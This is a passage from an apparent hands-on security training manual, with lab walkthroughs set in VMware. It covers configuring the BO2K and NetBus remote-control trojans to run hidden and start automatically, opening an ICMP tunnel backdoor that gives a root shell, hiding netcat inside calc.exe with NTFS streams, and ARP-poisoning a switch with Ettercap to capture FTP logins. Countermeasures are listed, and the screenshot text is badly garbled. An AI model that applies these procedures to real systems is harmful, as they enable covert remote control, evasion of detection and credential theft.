	bo2k_	Server Info:	-		Save Server		xe y	JI.UXL	
Mv Network	bo2kcfa a	Version 1.13			Close Server	Exit			
Places	Application								
CHAR CHAR	Modified: 1	Plugins Loaded:	Version BD28	Ver Description	•	Innert			
Recycle Bin	Size: 204 KI	🔮 io_tcp.dl	1.0 1.1	BO2K Simple	Networking 1	1113011			
	Attributes:	enc_nul.dl	1.0 1.1	BO2K Wussy BO2K Null Au	NULL Encry	Remove			
12			1.0 1.1			Extract To File			
Internet		Option Variables:		Current Value:					
Explorer				8888					
				New Value: 8888					
netwoy.5 2		I ² 3 Default f 	Port	- Switch Setting			1		
				C Disabled		Set Value			
		Back Orifice 20	00 Server Configu	uration Utility, Copyrigh	vt (C) 2003, Cult of	the Dead Cow			
netw-ib-ox	Type: Applicat	UT 5128: 204 KB			J	204 KD	rrly Comput	er	11.
								, J. O	
								- E	
If you make any changes be sure to click **Save Server**. The configuration will be saved.

🗐 Windows 2000 Server - ۱	/Mware Workstation		
File Edit View VM Pow	er Snapshot Windows Help		
	apshot 🙀 Revert 📰 🔛 🛅		
Red Hat Linux 8 Server Wind	ows 2000 Server Windows XP Professional SUSE Linux 8.2 Red Hat Linux	8.0 Whoppix Red	→
🏽 🕄 🍘 🗊 🕼 🕄	🖆 🛛 🖉 BO2K - BO2K 1 🖉 Downloading File 🔄 C:\Downloads\B 🕅 🖓 BO2	2K Server C 🗊 🕮	5:42 PM
E:\Downlo	ads\BO2K\bo2k_1-1-3	_	
V Documents Re File Edit	View Favorites Tools Help		1
] ⇔Back ▼	⇒ - 🔄 🔯 Search 🖓 Folders 👹 History 📲 🧏 🗙 🕫 🎟 •		25
Address	Abundari Aboordhadi 4.4.0		èGo
Av Computer N	Current Server File:		
	C:\Downloads\B02K\bo2k_1-1-3\bo2k.exe	ve on tyt	25
bo2k_	Server Info: Save Server	- j	
ty Network bo2kcfg.e	Version 1.13 Close Server	cit.	
Places Application			
Modified: 1	Plugins Loaded: Plugin Name Version BO2K Configuration Tool X		
Size: 204 KI	to_top.dl 1.0 Server file caved ing 1		
Attributes:	Penc_null.dl 1.0 Percent adved normal Remove	<u> </u>	
e	CK Extract To F	ile	
Internet	Option Variables:		
Explorer	B888		
	TCPI0 New Value: R098	_	
1	123 Default Port		
180W0X-5.2	C Disabled C Enabled Set Va	alue	
	Back Onifice 2000 Server Continuation Utility. Coovright (C) 2003, Cult of the Dead Co	w	
retw-lb-ox Type: Applicatio	11 5128: 204 KB	Computer	11.
		125	3 - 19

On the Attacker's Computer

Double-click on the **bo2kgui.exe** file to start the Client installation of BO2K.

The client needs to be configured as well. Click on **Plugins**, then **Configure**.



Click the **Insert** button.

boZk_1-1-3 = Edt. Vew Favork	es Tools Help		2007	2 43	lia min	- 0
Bask · O ·	Dearch D	Folders 111-				
aress 🗁 Crippe 💠 Uni	itled - 802K Worksp	iace			×	- 0
Rename th Move this I Copy this I Publish thes E-mail this X Delete this	Plugins Loaded Plugin Nome Option Variables:	Version 802K.Ve	n Description	Remove	P M	
Dither Places			Nava Vokar			
Shared Do My Comput My Networ			C Dualited C Loads	id Done	1	
Details Ready	_				1	

- Load the following *Plugins*. Double-click on the **Plugins** folder, then the io folder, and select the io_tcp.dll file.
- Click the **Insert** button.
- Double-click on the **Plugins** folder, then the **enc** folder, and select the **ip_tcp.dll** file.
- Click the **Insert** button.
- Double-click on the **Plugins**, then the **auth** folder, and select the **auth_null.dll** file.

bo2k_1-1-3			
Bert . C.	1 (2015 Help O sauch (20), Eather (111),		
	Podes .		ानजो जल
Title and Tolds Serve Li ₩₩ Finana th ₩ ₩ ₩	Plugin Configuration Plugin Leaded Plugin Name Venion B02K Ver CODeveloads10 1.1 CODeveloads10 1.1 Option Venibler: R I TCPI0	Description BO2K Single Networking TCP BO2K Wusy NULL Encyption Module BO2K NuL Authentication Inset. 1 Convert Value Test Calaber Convert Value	Resource
Details Ready	mund forcer	- Lieblad - DONC Work	1. 1 1 1 1 1 1

In the **Option Variables** section, click on the **+** symbol next to **TCPIO** and select the **Default Port**. Set the default port to match the one set on the server part earlier.



Click the **Add New Server** \clubsuit button. The **Edit Server Settings** screen will appear.



Enter a Name and the $I\!P$ Address of the target. Click OK.



The target will now appear in the list. Double-click on the target.

🛃 Windows XP Professional - VMware Workstation	_ D ×
File Edit View VM Power Snapshot Windows Help	
📃 💷 🕼 🕟 Snapshot 🙀 Revert 🔽 🔛	
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2 Red Hat Linux 8.0 Whoppix	Red 4 🕨 🗙
> bo2k_1⋅1⋅3	_ 7 X
File Edit View Favorites Tools Help	R.
🕞 Back 🔹 🌍 🕤 🎓 Search 🎼 Folders 🔛 🕫	
Address 🔂 C:100 🖶 Untitled - BO2K Workspace	✓ → 60
File Edit View Plugins Help	
File and Folde Server List 🔽 Show Details 🔽 Disconnect Check	
Rename the Machine Address Connection Encryption Authentication	м
Hacked 2000 S 192.168.1.7 TCPI0: Back Onfi NULLENC: B02K NULLAUTH: Singl	1
Publish this	1
E-mail this E-mail	м
X Delete this	
Other Places	
🗁 B02K	
My Docume	
🔁 Shared Dou	
Wy Comput	
S My Networ	
Details Ready	1
🕼 start on Command Prompt 🖙 bo2k_1-1-3 🗣 Untibled - BO2K Work	👬 🗊 6:00 PM

Click the **Connect** button.



The item of interest here is **Server Control**. Double-click on the **Server Control** folder.

👰 Windows XP Professional - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🔲 💷 🕑 🚱 🖬 Snapshot 🙀 Revert 🛐 🔯	
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2 Red Hat Linux 8.0 Whork	ix Red I 🕨 🗙
🗑 ho2k 1-1-3	
File Edit View Favorites Tools Help	11
A Profe + A - A Courte B Enterer	
Address C:Dor T Untitled - BO2K Workspace	× → Go
File and Folde	
BO Server Connection	_
Move this f	M
Copy this f 🗶 🗟 Server Control Disconnect 🔽 Auto-Query	м
Publish this	1 M
X Delete this 👻 Send Command	
Other Places	
Ch BO2K	
A My Docume	
Clear Responses	
My Comput	
With the work of the state of t	
Details	
Reduy	11.
· · · · · · · · · · · · · · · · · · ·	
Start Command Prompt 🗁 bo2k_1-1-3 🗣 Untitled - BO2K Work	📴 👯 👜 6:04 PM
	& = Q =



The list of options available to execute against the target appears.

Select **Shutdown Server** and click the **Send Command** button. The target will be immediately shut down.



***Note:** Remember that this tool can be installed remotely and, from the list of options available to an attacker, you can plainly see just how much control an attacker would have over the target.

Lab 78: Trojan

Unauthorized Access and Control: NetBus

Prerequisites: None

- **Countermeasures:** Secure ACLs, Bastion servers/workstations, Trojandetection software, updated antivirus
- **Description:** The NetBus Trojan, similar to the famous Back Orifice (BO) Trojan, is designed to hide itself inside a target host. It allows the installing user access to the system at a later time without using normal authorization or vulnerability exploitation. NetBus allows the remote user to do most of the functions BO can do, as well as open or close the CD-ROM drive, send interactive dialogs to chat with the compromised system, listen to the system's microphone (if it has one), and a few other features.
- **Procedure:** Install the server and client parts, and execute against the target.

On the Target (Server)

Verify the target IP address by typing **ipconfig**.



Double-click on the **nbpro210.exe** icon to start the installation.



The NetBus Pro Welcome screen is displayed. Click Next.



Read the Information screen. Click Next.



Accept the default installation directory. Click Next.



From the **Select Components** screen select the **NetBus Pro Server** and **Additional Components**. Click **Next**.



Accept the default Program Folders. Click Next.



The **Setup Complete** screen will be displayed. Uncheck the *README file* and select the **I would like to launch NetBus Pro**. Click **Finish**.



The NetBus Pro Server screen will appear. Click Settings.



N.

🗐 Windows 2000 Server - VMware Workstation Edit View Windows VM. Snapshot 🖬 🕕 🕞 🕼 Sna not 🙀 Revert 🚺 🚺 ws 2000 Server Wr /s XP Professional SUSE Linux dindo 🖣 🕨 🗙 (8.2 🏨 Start 📔 🍘 😂 🖼 📗 🔊 Index of /Files/ - Microsof... 😿 Net Bus Server 🗊 🚅 8:04 PM ġ, $\langle \rangle$ NetBus.exe Server setup General Telnet Access HTTP Access Accept connections Run on port: Password 20034 ibility of serve • Full access -Autostart every Windo ws session OK Cancel

The Server setup screen will be displayed.

From the **General** tab set the following options for the server:

- Select Accept connections.
- Set the **Run on port** to **25** as SMTP traffic is normally passed through firewalls.
- Set the password for this connection to occur.
- Set the Visibility of server to Invisible.
- Set the Access mode to Full access.
- Select Autostart every Windows session.



From the **Telnet Access** tab set the following options:

- Select Enable Telnet Access.
- Set the **TCP port** to **23**.
- Set the password for this connection to occur.
- Set the **Command line application** to **c:\Windows\Command.com**.
- Click **OK**.



On the Attacker's Computer

Verify the target IP address by typing **ipconfig**.



Double-click on the **nbpro210.exe** icon to start the installation.



Repeat the previous steps but this time install the **NetBus Pro Client**. The NetBus Pro Client side will start.

🛃 Windows XP Professional - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🔲 💷 🕨 🕟 🧐 Snapshot 🙀 Revert 🔽 🔯	
Home Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.2 Red Hat Linux 8.0 Wihoppix	
NetBus Pro	and a
File Hast Control Help	Section 2
T E Destination Host	1 Salar
My computer 127.0.0.1	
Phy computer	-
	0000
	Contraction of the local division of the loc
	1
Mathur	and the same
Make Money Surfing the 🕢 💽	
World Wide Web! GoToWorld.com	
No connection	
Desktop	
The second se	A CONTRACTOR
	ALC: NO
distart Ninepo	ћ 8-20 РМ

Click on the **Add Host** icon \square and enter the following target information:

- A **Destination** name.
- The target **IP** address.
- The **TCP-port** to connect to (as set on the server).
- A valid **User Name** (as set on the server).
- The valid **Password** (as set on the server).
- Click **OK**.

🗐 Windows XP Professional - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
📄 💷 🕨 🔊 🧐 Snapshot 🛃 Revert 🛐 🔯 🛅	
Home Red Hal Linux & Server Windows 2000 Server Windows XP Professional SUSE Linux & 2 Red Hal Linux	8.0 Whoppix 4 + ×
NetBus Pro	The state of the
[frent] ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●	1
Destination My Computer Hot information	
Destination WI1/20005-V Host name/IP, 1921681.7 TCP pott	1
VetBus	-
Renote Desitoo	
🖅 start 🗠 Command Prompt 🛞 NetBus Pro	学 禄 殿 9:06 PM

Right-click on the new target and click **Connect**.

🗐 Windows XP Professional - \	YMware Workstation	
File Edit View VM Power	Snapshot Windows Help	
🕴 🔲 🕟 🚱 🖬 Snapsh	iot 🛃 Revert 💽 💽	
Home Red Hat Linux 8 Server	Windows 2000 Server Windows XP Professional SUSE Linux 8.2 Red	Hat Linux 8.0 Whoppix 4 🕨 🗙
Recycle Bin	and the second sec	and a
	NetBus Pro	
A	Eile Hast Control Help	and the second
Internet	■•②	and the second sec
100 Aug. 100	8 d 2 · f) 4 % A	and the start
	Destination Host	1. 1. 1. 1. 1. 1. 1. 1. 1. 1. 1. 1. 1. 1
My Computer	My computer 127.0.0.1	A
	192.168.1.7	b Contraction
bb-uc-03-m		al antes
		Channe
		X
I VOLDUS	🖁 🔹 Make Money Surfing the 🛛 💦	
	World Wide Web! GotoWorld.co	m
Remote d	Jannot connect to 127.0.0.1	
	A CALLER AND AN ADDRESS OF ANY ADDRESS OF ADDRESS ADDRESS OF ADDRESS OF ADDR	and the second second
State of the second second second		
		计以24条款问题的内心 和
Start 🛛 🗠 Command P	rompt 🔊 NetBus Pro	. 🖉 👯 📾 9:06 PM
		£ = 2. #

The bottom of the NetBus application displays a status bar. If successful NetBus will display **Connected to** *target ip*.



Click **Control** and review all of the options available to the attacker.



This lab will perform a *Fun Stuff*, **Go to URL** function. A URL box will be displayed. Type any valid URL and click **OK**.

🗐 Windows XP	Professional - VMware Workstation	
File Edit Vie	ew VM Power Snapshot Windows Help	
	Snapshot Revert 🖬 🔛	
Home Red Hat	LLInux 8 Server VMindows 2000 Server Windows XP Professional SUSE Linux 8 2 Red Hat Linux	8.0 Whoppix 4 🕨 🗙
	S NetBus Pro	C. Minana
	Eile Hast Control Help	Constant on the
Internet	■ • ②	Sec. 12
1	응태 및·태그 실 8 Å	and the second
19	Destination	1000
My Computer	My computer 127.0.0.1	
bh-us-03-m	URL Cancel	
NetBus	Make Money	
Remote	Connected to 192.168.1.7 [v.2.10]	
Desitop		
🛃 start	Command Prompt 🔊 NetBus Pro	武 👘 👘 9:08 PM
		8 - 2 -

The target computer will now open an Internet Explorer session and go to the Web site the attacker instructed it to go to.



*Note: NetBus has been around long enough for several NetBus removal tools to be developed. This tool is still effective as a Trojan, however, because of the sheer amount of unprotected computers.

Lab 79: ICMP Tunnel Backdoor

Bidirectional Spoofed ICMP Tunnel: Sneaky-Sneaky

Prerequisites: None

Countermeasures: Updated antivirus, strong firewall ACLs

- **Description:** Sneaky-Sneaky communicates in echo replies, which the kernel ignores and are not normally blocked. The packets the client and server send are spoofed, and the real IP is encrypted inside the payload. Sneaky-Sneaky uses this IP to communicate; the "visible" source IP is never used. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** Compile server- and client-side components, connect, and control.

On the Target (Server)

Identify the IP address of the target (server) by typing **ifconfig** and pressing **Enter**.



From the directory containing the compressed files type **tar** –**zxvf icmp**-**backdoor.tar.gz**.

The files will uncompress into a new directory named icmp-backdoor.

Change to the new directory by typing **cd icmp-backdoor** and pressing **Enter**.

The next step is to compile and create the server portion by typing **make server** and pressing **Enter**.

🗊 Red Hat Linux 8 Server - VMware Workstation	_[] ×
File Edit View VM Team Windows Help	
👔 Red Hat Linux & Server 🔐 Windows 2000 Professional 😭 Windows 2000 Professional 😭 Mindows 2000 Professional 😭 Mindows 2000 Professional	4 Þ X
Session Edit View Settings Help	
1 C	
[rootelocalhost icmp-backdoor]# make server	
	21:22
A Your version of Whware Tools is out of date.	

The server portion will compile and create.



To execute the new application, type:

./ibd-server <ICMP Code>

In this example, the ICMP code is set to **0**. The **0** makes the server respond with Echo Reply headers.



The icmp-backdoor server portion will initialize. Proceed to the client part.



On the Attacker's Machine

Confirm the attacker's IP address by typing ifconfig and pressing Enter.



From the directory containing the compressed files type **tar** –**zxvf icmp**-**backdoor.tar.gz**.

The files will uncompress into a new directory named **icmp-backdoor**. Change to the new directory by typing **cd icmp-backdoor** and pressing **Enter**. Create and make the client portion by typing **make client** and pressing **Enter**.



Red Hat Linux - VMware Workstati -IDI ×I File Edit View Team Hel ier آن -/Tools/s Red Hat Linux Eile Edit View Terminal Go Help [root@localhost sneaky-sneaky]# tar -zxvf icmp-backdoor.tar.gz . icmp-backdoor/
icmp-backdoor/server.c icmp-backdoor/Makefile
icmp-backdoor/LICENSE icmp-backdoor/config.h icmp-backdoor/README icmp-backdoor/sendicmp.c icmp-backdoor/wrapper.c
icmp-backdoor/client.c icmp-backdoor/opencall.c icmp-backdoor/TODO icmp-backdoor/CHANGES [root@localhost sneaky-sneaky]# cd icmp-backdoor [root@localhost icmp-backdoor]# make client -c -o client.o client.c CC -c -o sendicmp.o sendicmp.c -c -o wrapper.o wrapper.c cc -02 -Wall -o ibd-client client.o sendicmp.o wrapper.o [root@localhost icmp-backdoor]# **4 9 8 2 9 5** Toot@localhost:~/Tools/sneaky-s 09:36 PN 20040

The **icmp-backdoor** client will compile and be created.

To initialize the client and connect to the server, type:

./ibd-client <target IP Address> <ICMP Code>

In this example, the ICMP Code was set to type 8, Echo Request.

*Note: Because the server is set to respond with Echo Reply and the attacker is using Echo Request, the traffic will look like normal traffic to firewalls and Intrusion Detection Systems (IDS) solutions.



The client will connect to the server. Notice your prompt has changed to the # sign.

Red Hat Linux - VMware Workstation	_101×
File Edit View VM Team Windows Help	
Ped Het Linux 8 Server Po Windows 2000 Professionel Po Vendows 2000 Professionel Po Red Het Linux	() X
💙 root@localhost=/Tools/sneaky-sneaky/icmp-backdoor 💦 📃 🗖 🗙	
Ele Edit View Terminal Go Help	
icmp-backdoor/LICENSE	
icmp-backdoor/config.h	
icmp-backdoor/README	
icmp-backdoor/sendicmp.c	
icmp-backdoor/wrapper.c	
icmp-backdoor/client.c	
1cmp-backdoor/opencall.c	
1cmp-backdoor/T000	
[rest]cealbet seaky seaky] ad icen backdoon	
[root0localhost_icen_backdoor]# make_client	
cc -c -c client c client c	
cc =c =o sendicum.o sendicum.c	
CC -C -O WEADDER.O WEADDER.C	
cc -02 -Wall -o ibd-client client.o sendicmp.o wrapper.o	
[root@localhost icmp-backdoor]# ./ibd-client 172.16.1.200 8	
icmp-backdoor 0.2	
Use like a normal shell, avoid interactive programs like vi	
Connecting to 172.16.1.200connected.	
a a a a a a a a a a a a a a a a a a a	09:37 PM

To verify you are actually connected to the server, type **ifconfig** and press **Enter**.



The IP is 172.16.1.200, which verifies we are at a server terminal.



At this point, you can operate the keyboard as though you are sitting directly behind the keyboard of the server. Run any command you would normally run, such as **Is** –**I** for a detailed directory listing.

👰 Red H	at Linu	іж – VMv	vare Work	station							_ 🗆 ×
File E	Edit \	/iew VI	M Team	Windows I	Help						
Í		0	1 23 6	a 1770 E			-				
		e,		KI W⊒24] Ľ		520 J B	9				
Red H			er 👘		Professional				rofessional 🔐 🔐 Red Ha	t Linux	< ▷ ×
💙 root	t@loca	alho st:-	~/Tools/s	neaky-snea	ky/icmp-backde	or		///////////////////////////////////////		//// = 🗆 ×	
<u>F</u> ile J	<u>E</u> dit	View	<u>T</u> erminal	<u>G</u> o <u>H</u> elp	0						
										<u>م</u>	
# 1s -	-1										
total	163										
drwxr-	-xr-x	2	root	root	2048	0ct	7	2004	bin		
drwxr-	-xr-x	4	root	root	1024	0ct	7	2004	boot		
drwxr-	-xr-x	20	root	root	116736	Dec	13	21:11	dev		
drwxr-	-xr-x	62	root	root	5120	Dec	13	21:11	etc		
drwxr-	-xr-x	4	root	root	4096	0ct	7	2004	home		
drwxr-	-xr-x	2	root	root	1024	Jun	21	2001	initrd		
drwxr-	-xr-x	7	root	root	3072	Oct	13	2004	lib		
drwx		2	root	root	12288	Oct	7	2004	lost+found		
drwxr-	-xr-x	2	root	root	1024	Aug	26	2002	misc		
drwxr-	-xr-x	5	root	root	1024	Oct	8	2004	mnt		
drwxr-	-xr-x	2	root	root	1024	Aug	23	1999	opt		
ar-xr-	-xr-x	97	root	root	0	Dec	13	15:10	proc		
arwxr-	-x	23	root	root	2048	Dec	13	21:12	root		
arwxr-	-xr-x	2	root	root	5120	Oct	4	2004	spin		
arwxr-	-xr-x	. 3	root	root	1024	OCT	1	2004	titpboot		
drwxrv	NXPWC	14	root	root	1024	Dec	13	21:23	uap		
drwar-	-XI-X	. 10	root	root	4096	Oct	7	2004	usr	1	
urwxr-	-XI-X	22	1001	1001	4090	oct	'	2004	Vdl		
							_			<u> </u>	
	0		3.E				1		and the set of the set of the set of		00:37 04
	C	20	79	50	0		1	noot@ic	camost.~/rools/snea	···	09:37 PM
·				-							

Verify your user mode by typing the command **whoami** and pressing **Enter**.

Red	Hat Lin	uж - ¥Мv	vare Wor	kstation								_ 🗆 ×
File	Edit	View VI	M Team	Windows H	ielp							
		0	0	A 🕼 🛛 🖬		3 I	3					
Re Re	d Hat Lin	iux 8 Serv	er 🔤	Windows 2000	Professional	ik W	ndov	vs 2000 P	rofessional	🔒 Red Hat Linux		∢ ⊳ x
V 10	ot@loc	alhost:	~/Tools/	sneaky-sneak	y/icmp-backd	or						
File	Edit	View	Termina	d Go Help								
tota	1 163	_	_									
drwx	r-xr-	x 2	root	root	2048	0ct	7	2004	bin			
drwx	r-xr-	x 4	root	root	1024	0ct	7	2004	boot			
drwx	r-xr-	x 20	root	root	116736	Dec	13	21:11	dev			
drwx	r-xr-	x 62	root	root	5120	Dec	13	21:11	etc			
drwx	r-xr-	x 4	root	root	4096	0ct	7	2004	home			
drwx	r-xr-	x 2	root	root	1024	Jun	21	2001	initrd			
drwx	r-xr-	x 7	root	root	3072	0ct	13	2004	lib			
drwx		- 2	root	root	12288	0ct	7	2004	lost+four	nd		
drwx	r-xr-	x 2	root	root	1024	Aug	26	2002	misc			
drwx	r-xr-	x 5	root	root	1024	0ct	8	2004	mnt			
drwx	r-xr-	x 2	root	root	1024	Aug	23	1999	opt			
dr-x	r-xr-	x 97	root	root	0	Dec	13	15:10	proc			
drwx	r-x	- 23	root	root	2048	Dec	13	21:12	root			
drwx	r-xr-	x 2	root	root	5120	0ct	7	2004	sbin			
drwx	r-xr-	х 3	root	root	1024	0ct	7	2004	tftpboot			
drwx	rwxrw	t 14	root	root	1024	Dec	13	21:23	tmp			
drwx	r-xr-	x 16	root	root	4096	0ct	7	2004	usr			
drwx	r-xr-	x 22	root	root	4096	0ct	7	2004	var			
# wh	oami											
root												
L												
#											*	
9	ŝę	•			8			lroot@lo	ocalhost:~/To	ools/sneaky-s		09:38 PM

Since we are attached as user **root** we have absolute control over this target.

*Note: I have been asked many times, "If I already had the ability to connect and upload this program does that mean I already have root access?" The answer is "Not really." The biggest advantage of this tool is the ability to set a backdoor for you to return to at any point in time. Many times a few minutes of physical access are all you need to set the back door and then return remotely.

Lab 80: Hiding Tools on the Target

Hiding Files on the Target: CP

Prerequisites: None Local/Admin Remote **Countermeasures:** SFIND Tool

- **Description:** A common technique is for an attacker to stream files together to hide his or her tools inside a valid application. These tools can then be extracted at any time in the future, even if the tool is found and deleted. This can obviously be a very damaging technique.
- **Procedure:** The netcat tool will be hidden inside the valid calculator tool found in Windows. The Date/Time stamp does NOT change on the calculator application, and by using this technique the MD5 checksum (the standard for computer forensics) is defeated!

Scenario: Hiding Netcat inside the Calculator Application

Verify the Date/Time Stamp of the netcat application with the **DIR** command.

🐼 Command Prompt	_ 🗆 ×
C:\Security\Lab96>dir Uolume in drive C has no label. Uolume Serial Number is 44C1-800B	^
Directory of C:\Security\Lab96 61/64/2005 06:13 PM	\$P.exe

Stream the netcat application into the calculator file by typing (*case sen-sitive*):

cp ncl1nt.zip calc.exe:ncl1nt.zip

Verify that the Date/Time Stamp has not changed on the netcat application with the **DIR** command.

📾 Command Prompt	- 🗆 ×
C:\Security\Lab96>cp nc11nt.zip calc.exe:nc11nt.zip	^
C:\Security\Lab96>dir Volume in drive C has no label. Volume Serial Number is 44C1-800B	
Directory of C:\Security\Lab96	
01/04/2005 06:13 PM <dir> 01/04/2005 06:13 PM <dir> 01/04/2005 06:13 PM <dir> 01/04/2005 06:17 PM 114,688 calc.exe 01/04/2005 06:58 PM 73,728 cp.exe 08/03/2004 10:11 PM 2.698 684 ettercap-0.6.b-installer-NT2KXP.exe 08/03/2004 10:15 AM 343,040 mspaint.exe 08/03/2004 10:13 PM 96,561 nclint.zip 01/04/2005 05:56 PM 1.253,750 nmapntsp1.zip 6 File(s) 4.580,451 bytes 2 Dir(s) 11,229,241,344 bytes free</dir></dir></dir>	
C:\Security\Lab96>	
	•

Execute the calculator program to verify that the application still works by typing **calc** and pressing the **Enter** key.

🐼 Command	Prompt			- 🗆 ×
C:\Security Volume in Volume Ser	∧Lab96>dir drive C has ∙ial Number i	no label. s 44C1-800B		^
Directory	of C:\Securi	ty\Lab96		
01/04/2005 01/04/2005 01/04/2005 01/04/2005 08/03/2004 08/03/2004 08/03/2004 08/03/2004 01/04/2005	06:13 PM 06:13 PM 06:17 PM 05:58 PM 10:11 PM 12:56 AM 10:13 PM 05:56 PM 6 File(s 2 Dir(s)	<pre><dir> <dir> <dir> 114,688 73,728 2,698,684 343,040 96,561 1,253,750 4,580,45 11,229,224,960</dir></dir></dir></pre>	calc.exe cp.exe ettercap-0.6.b-installer-NT2KXP.exe mspaint.exe ncilnt.zip nmaphtspi.zip i bytes bytes free	
C:\Security	∧Lab96>calc			
C:\Security	Lab96>			
				-

The Windows calculator opens without incident.

Calculator										
Edit View Help										
										0.
OHex	⊙ De	00	lct O	Bin	O Degre	es	() Radi	ans	⊖ Grads	
Inv	٦H	Нур				Backsp	Dace	CE		с
Sta	F-E	(MC	7	8	9		Mod	And
Ave	dms	Exp	In	MR	4	5	6) [*	10	Xor
Sum	sin	x^y	log	MS	1	2	3)[.	Lsh	Not
s	COS	x^3	n!	M+	0	+/-)[.	+] [=]	Int
Dat	tan	x^2	1/x	pi	A	В) [C	D	E	F

To Verify

Delete the nc11nt.zip file by typing **del nc11nt.zip** and pressing **Enter**. Run the following command (*case sensitive*):

cp calc.exe:ncl1nt.zip calc.exe

The **nc11nt.zip** file will be extracted again into the directory.

*Note: Streaming files is such an easy thing to do and I personally know of no Administrator even searching for "streamed" files on his or her network. This technique can be very dangerous as it defeats the MD5 checksum, and at this point there are only a couple of applications that have the ability to detect these "streamed" files. Security Administrators should not only be aware of this technique but should routinely scan for the existence of these files.

Lab 81: Capturing Switched Network Traffic

Intercept/Exploit Traffic: Ettercap

Prerequisites: None

- **Countermeasures:** Encryption, strong security policy, sniffer detection tools
- **Description:** Ettercap is designed to accomplish man-in-the-middle (MTM) attacks. With live sniffing of data, live filtering, active, and passive capturing, Ettercap can be a very dangerous tool in the network environment, especially in a switched network, because it allows the user to sniff traffic on a switch or manipulate the data.
- Procedure: Set the parameters, execute, and analyze the data.

Double-click the **ettercap-0.6.b-installer-NT2KXP** icon to begin the Ettercap installation.



Install Ettercap with the default options. The Ettercap installation will complete. Click **Close**.



You will be asked: **Do you want to install the packet driver now?** Click **Yes**.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🏠 Home 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WH	X 🖬 d 🕨 🗙
My Documents Ethereal	
My Computer	
C = X	
My Network	
Create shortcut C:\Documents and Settings\Administrator\Start Menu\Program	
Extract: cygcrypto-0.9.7.dl	
Recycle Bin Extract: cygst4t 3 ettercap 0.6.b Setup	
Extract: cygvint Do you want to install the packet driver now?	
Extract WinPos Yes No	
Internet Output directory Explorer Extract entercap	
Cancel Nullsoft Install System v1.98 < Back Close	
Shortcut to msfconsole	
\$	
2 J ZvSolfer	
🕂 Start 📝 🖉 🛱 🖉 🔄 🔤 E:{Shared Shared Ettercap 🦸 ettercap 0.6.b Setup:	🕽 🚅 2:54 PM

Install **WinPcap 2.3** with the default options. The WinPcap installation will complete. Click **OK**.



From the attacker's machine click on **Start/Programs/ettercap/ettercap prompt**.



The **ettercap** prompt will now be displayed.



To start Ettercap, type ettercap and press Enter.



Ettercap will detect the network cards installed and allow you to select the one you want to use for the attack. For the purposes of this lab, select the VMware network card and press **Enter**.



Ettercap will begin by sending out ARP requests based on the subnet mask in use. In this example, the subnet mask is a Class B so 65,535 possible IP addresses are available for use; 65,535 ARP requests are sent out looking for a response.



Once Ettercap determines how many computers have responded to the ARP requests, it will try to retrieve the hostname for each computer.



Ettercap will then display a list of computers located. There are two identical columns listed. This allows you to select one source and one destination computer from each list, respectively.

폐 Windows 2000 Professional - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚖 Home 🏽 😰 Windows 2000 Advanced Server 📲 Red Hat Linux 🗿 Auditor 2100 🖓 Windows 2000 Professional 🗿 WHAX	Im 4 → ×
My Documents Ethereal	
My Computer ettercap prompt - ettercap	1
ettercap 0.6.b SOURCE: 172.16.1.56 00:0C:29:07:EE:54	
My Network Places 54 hosts in this LAN (172.16.1.56 : 255.255.0.0)	
2) 172.16.0.1 2) 172.16.0.1 3) 172.16.1.33 3) 172.16.1.33	
4) 172.16.1.54 4) 172.16.1.54 5) 172.16.1.57 5) 172.16.1.57 Derived Rin 5) 172.16.1.57 5)	
7) 172.16.1.58 6) 172.16.1.58 7) 172.16.1.60 7) 172.16.1.60 8) 172 16 1 65 8) 172 16 1 65	
9) 172.16.1.66 10) 172.16.4.30 10) 172.16.4.30	
11) 172.16.8.166 11) 172.16.8.166 Internet 12) 172.16.17.179 12) 172.16.17.179	
Explorer 13) 172.16.22.10 13) 172.16.22.10 14) 172.16.26.140 14) 172.16.26.140	
Your IP: 172.16.1.56 MAC: 00:0C:29:07:EE:54 Iface: dev0 Link: SWITCH	
Shortout to	
mstconsole P	
2 ²	
ZxSnifer	
😹 Start 🛛 🖉 🍘 🕼 🖉 🖾 C:\WINWT\System32\cmd 🖾 ettercap prompt - ett	5:41 PM

In this example, the Linux machine (**172.16.1.58**) was selected as the source computer by highlighting the IP address and pressing **Enter**.



The Windows 2000 server machine (**172.16.1.60**) was selected as the destination computer by highlighting the IP address and pressing **Enter**.



By pressing the **H** key at any time, the **Help** screen will be displayed. In this case, the **Help** screen tells you that pressing the **A** key will start the ARP poisoning feature of Ettercap. Press the **H** key again to remove the **Help** screen. Press the **A** key to start Ettercap ARP poisoning.



Ettercap will now see all the traffic between these two computers, even though these computers are communicating via a switch as identified by Ettercap in the lower right portion of the application with the word **SWITCH**.

From a terminal session on the Linux machine, start an FTP connection to the Windows server by typing **ftp 172.16.1.60** and pressing **Enter**.



In this lab, when asked for a username, **anonymous** is used.


The password for the anonymous user is entered and the user has successfully logged in via FTP to the Windows 2000 machine.



The traffic between the two computers is monitored back on the attacker's machine. By highlighting each line of traffic, any usernames and/or passwords will be displayed in the lower part of the application. In this example, the username of **anonymous** with the password of **virtually@hacking.com** was detected.

💽 Windows 2000 Professional - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚡 Home 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🔀 Windows 2000 Professional 🗿 WHAX 👔	l → ×
My Documents Ethereal	
My Computer ettercap prompt - ettercap	
SOURCE: 172.16.1.58 <	
DEST : 172.16.1.60 < Active Dissector: ON	
Places 12 172.16.1.58:32791 (> 172.16.1.50:21 KILLED ftp	
Recycle Bin	
Internet Explorer	
USER: anonymous PASS: uiptually@backing.com	
shortcut to	
5	
Zx5niffer	
Imposence Impos	18 PM

Sniffing traffic on a switch and intercepting username/password combinations is bad enough; what about changing the data on the wire as it occurs? Ettercap allows an attacker this option as well with the use of filters.

